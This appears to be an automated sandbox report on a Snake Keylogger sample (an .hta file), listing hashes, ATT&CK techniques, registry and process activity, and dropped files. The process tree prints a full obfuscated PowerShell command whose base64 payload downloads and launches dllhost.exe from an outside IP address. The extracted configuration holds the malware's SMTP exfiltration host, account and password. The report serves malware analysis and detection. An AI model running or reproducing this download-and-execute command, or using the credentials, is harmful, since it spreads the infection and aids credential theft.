snakekeylogger | 1c6d98ce8a37adc665452a1ca4bfa1fd5b347de7654578503527e28e90275f64

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
28-09-2024 01:09

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General

Target

1c6d98ce8a37adc665452a1ca4bfa1fd5b347de7654578503527e28e90275f64.hta
Size

115KB
MD5

17116a0f43508549998ef6618154d77a
SHA1

e71af8b0489263e476521a5fd6e22e5511369c4d
SHA256

1c6d98ce8a37adc665452a1ca4bfa1fd5b347de7654578503527e28e90275f64
SHA512

a6824f19100e0fd4c996ab8db64875fb1c0c0e4d045792793b45ad1e93cb358c6746289209d8d1f4634c6ebed9ade9e43a5b3407856780e7e60954efc249e9d9
SSDEEP

96:Ea+M7wmf6PCZ60NUrnPmeobQk9B6/A6I6L1j+Z668AT:Ea+Qwmf6PCZ6kUTWfz6Y6dKZ6+T

Score

10^/10

snakekeylogger collection defense_evasion discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

Credentials

Protocol: smtp
Host:
mail.teilecar.com
Port:
587
Username:
[email protected]
Password:
Manta924porsche=911
Email To:
[email protected]

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 3 IoCs

resource	yara_rule
behavioral1/memory/1140-29-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/1140-30-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/1140-31-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2496	powershell.exe

Downloads MZ/PE file

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
2496	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2156	dllhost.exe

Loads dropped DLL 6 IoCs

pid	Process
2496	powershell.exe
1484	WerFault.exe
1484	WerFault.exe
1484	WerFault.exe
1484	WerFault.exe
1484	WerFault.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.dyndns.org

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x000a000000015689-21.dat	autoit_exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2156 set thread context of 1140	2156	dllhost.exe	37

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1484	2156	WerFault.exe	36

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2496	powershell.exe
2496	powershell.exe
2496	powershell.exe
1140	RegSvcs.exe
1140	RegSvcs.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2156	dllhost.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2496	powershell.exe
Token: SeDebugPrivilege	1140	RegSvcs.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2156	dllhost.exe
2156	dllhost.exe
2156	dllhost.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2156	dllhost.exe
2156	dllhost.exe
2156	dllhost.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 2524 wrote to memory of 2488	2524	mshta.exe	30
PID 2524 wrote to memory of 2488	2524	mshta.exe	30
PID 2524 wrote to memory of 2488	2524	mshta.exe	30
PID 2524 wrote to memory of 2488	2524	mshta.exe	30
PID 2488 wrote to memory of 2496	2488	cmd.exe	32
PID 2488 wrote to memory of 2496	2488	cmd.exe	32
PID 2488 wrote to memory of 2496	2488	cmd.exe	32
PID 2488 wrote to memory of 2496	2488	cmd.exe	32
PID 2496 wrote to memory of 2800	2496	powershell.exe	33
PID 2496 wrote to memory of 2800	2496	powershell.exe	33
PID 2496 wrote to memory of 2800	2496	powershell.exe	33
PID 2496 wrote to memory of 2800	2496	powershell.exe	33
PID 2800 wrote to memory of 3016	2800	csc.exe	34
PID 2800 wrote to memory of 3016	2800	csc.exe	34
PID 2800 wrote to memory of 3016	2800	csc.exe	34
PID 2800 wrote to memory of 3016	2800	csc.exe	34
PID 2496 wrote to memory of 2156	2496	powershell.exe	36
PID 2496 wrote to memory of 2156	2496	powershell.exe	36
PID 2496 wrote to memory of 2156	2496	powershell.exe	36
PID 2496 wrote to memory of 2156	2496	powershell.exe	36
PID 2156 wrote to memory of 1140	2156	dllhost.exe	37
PID 2156 wrote to memory of 1140	2156	dllhost.exe	37
PID 2156 wrote to memory of 1140	2156	dllhost.exe	37
PID 2156 wrote to memory of 1140	2156	dllhost.exe	37
PID 2156 wrote to memory of 1140	2156	dllhost.exe	37
PID 2156 wrote to memory of 1140	2156	dllhost.exe	37
PID 2156 wrote to memory of 1140	2156	dllhost.exe	37
PID 2156 wrote to memory of 1140	2156	dllhost.exe	37
PID 2156 wrote to memory of 1484	2156	dllhost.exe	38
PID 2156 wrote to memory of 1484	2156	dllhost.exe	38
PID 2156 wrote to memory of 1484	2156	dllhost.exe	38
PID 2156 wrote to memory of 1484	2156	dllhost.exe	38

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\1c6d98ce8a37adc665452a1ca4bfa1fd5b347de7654578503527e28e90275f64.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2524
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c POwerSheLl -eX BypASs -nop -W 1 -c DevIceCrEdeNTiAldEplOymENT.Exe ; Iex($(iEX('[sYStem.tEXt.ENcoDINg]'+[char]0x3a+[ChAR]0X3a+'UTf8.GEtStRiNG([SyStem.cOnvErt]'+[char]0x3A+[char]0x3a+'FROMBasE64STRIng('+[CHAr]0X22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXRZcEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVmSW5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT24uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmNzY1NJTSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQ3FpWEIsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUWssdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvSkRMcGx6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGopOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuZEdHIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1FU3BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBya1lBRVF4ekt4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuNi82MDAvZGxsaG9zdC5leGUiLCIkRU52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c1RBclQtU0xlRVAoMyk7U3RhUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[CHAR]0X22+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2488
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    POwerSheLl -eX BypASs -nop -W 1 -c DevIceCrEdeNTiAldEplOymENT.Exe ; Iex($(iEX('[sYStem.tEXt.ENcoDINg]'+[char]0x3a+[ChAR]0X3a+'UTf8.GEtStRiNG([SyStem.cOnvErt]'+[char]0x3A+[char]0x3a+'FROMBasE64STRIng('+[CHAr]0X22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXRZcEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVmSW5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT24uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmNzY1NJTSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaQ3FpWEIsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUWssdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvSkRMcGx6LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGopOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuZEdHIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1FU3BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBya1lBRVF4ekt4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuNi82MDAvZGxsaG9zdC5leGUiLCIkRU52OkFQUERBVEFcZGxsaG9zdC5leGUiLDAsMCk7c1RBclQtU0xlRVAoMyk7U3RhUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGRsbGhvc3QuZXhlIg=='+[CHAR]0X22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2496
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xlbizkac.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2800
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9F1E.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC9F1D.tmp"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3016
  - - C:\Users\Admin\AppData\Roaming\dllhost.exe
      "C:\Users\Admin\AppData\Roaming\dllhost.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: MapViewOfSection
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:2156
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Users\Admin\AppData\Roaming\dllhost.exe"
        5⤵
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:1140
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2156 -s 400
        5⤵
        Loads dropped DLL
        Program crash
        
        PID:1484

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RES9F1E.tmp

Filesize
1KB

MD5
483f1fa29fdeb4eae97e9b4f1f449883

SHA1
afb4adf44f7d25ecfd41192b5420526a1c789321

SHA256
bb82c0394328066214d4057e16b5458473a41df52f51953a89703dfa40ed8dbe

SHA512
99eaf615008bcc69a3269e804817792ceb1cdd0431ce4c30612c70280271189b9e428c91ec097e3bba78677277f816c9a9580f01a0cbe5a2956598ed7b81b357

Download Submit
C:\Users\Admin\AppData\Local\Temp\xlbizkac.dll

Filesize
3KB

MD5
e9334e9d5212e2c349546f5e3388646a

SHA1
3fa6d0ec6de41e5bed82ea6378c07834b5c96b28

SHA256
272d6fa0c331f3b9a51103a75a026054efe86e1e274a471d9e17fbbe808c20d0

SHA512
f7648b844214b071603569a88f5b0e8659c62d737c1f16d31b3917f105dcc43683f6857f738faf2204958082fe0d060105b6a62f84ba574c023e798deb3b6999

Download Submit
C:\Users\Admin\AppData\Local\Temp\xlbizkac.pdb

Filesize
7KB

MD5
b3ba42df397e89bbc97868e1476eedac

SHA1
ecc7ee8213cdf11bd80b5fd5d8f239e67ec44f96

SHA256
20ffec703934b2f3fe57fd3d9da5afadc1adcfeb2a42186542a2b8cda2071f53

SHA512
6d4fa41d473222ddf560ce43db2e45a4afb9ff789ce14d6e25161c597d434804ef356e1c10295bef3aa63b240f4bce7e96df33c9d234e914e8035da3c7147b70

Download Submit
C:\Users\Admin\AppData\Roaming\dllhost.exe

Filesize
956KB

MD5
249f4ca7f1cc801c87cebd0cdf0b398e

SHA1
1241f91fa9239ed0553c33f6d3651644813f6f84

SHA256
b639e9680b5ac670c7b58863479c1cf9c7bea436aee481fa9729c6a82508e556

SHA512
0b6ae1f507b5599f9fb651576e12ae378b66111193623d806f0e6266e8ee93f1fa5dedd4d4b96f3360fecc81962b76e9bacc7c1096a96df5b33fbd64aa6a18d6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC9F1D.tmp

Filesize
652B

MD5
fdc1fe7eed84734db9109aa4743725fe

SHA1
f83a01a593e552a168b18b00940a2e7b2770d476

SHA256
a3819491d2298b83ec060e10f157e2cc38ac53a2e8163cd2259779a982112b41

SHA512
b8c5973acd33a013149854376e875f410b44e0304016adfe0ca72d0a0650ec4e751e3ba3a4a3aa94141c6ee6304ffa840546da941e94e2f17a71470d15d6e184

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\xlbizkac.0.cs

Filesize
475B

MD5
74ac079a164eedfd18ee0237dead2da7

SHA1
62575f712ded8ea2637ee5e5eda8ae9cf2919dc1

SHA256
6c72d2a89a0a1d35a067d9322c4c94503d5a75a2e6308cbf9b7bc95e9396f615

SHA512
7994aaef91f02e10fd65e782063492a1658e9b1e6e6ffa3a54fce1ab14b39c19bbd3b61cea46908f87cfde0466ef53e3be352c003db797bef0c9f67875285dbb

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\xlbizkac.cmdline

Filesize
309B

MD5
495f86e1756d25209bc8bb8e2f2a9011

SHA1
d2c2ab0903e7b8764dce724857ab2130393f5860

SHA256
c7f120e52484ff231ae0c99a9cbbd7ced041adfef791a2d05d0bf42f32e93c79

SHA512
c5345e555516de2bd059295f97e1f7d17a1c87cf7e142157805abb6cfc1e44d365c39bb15d1b51c3a065de600ba1fb532190f20ce0c4dbb847917f5ea5e60ccd

Download Submit
memory/1140-29-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/1140-30-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/1140-31-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download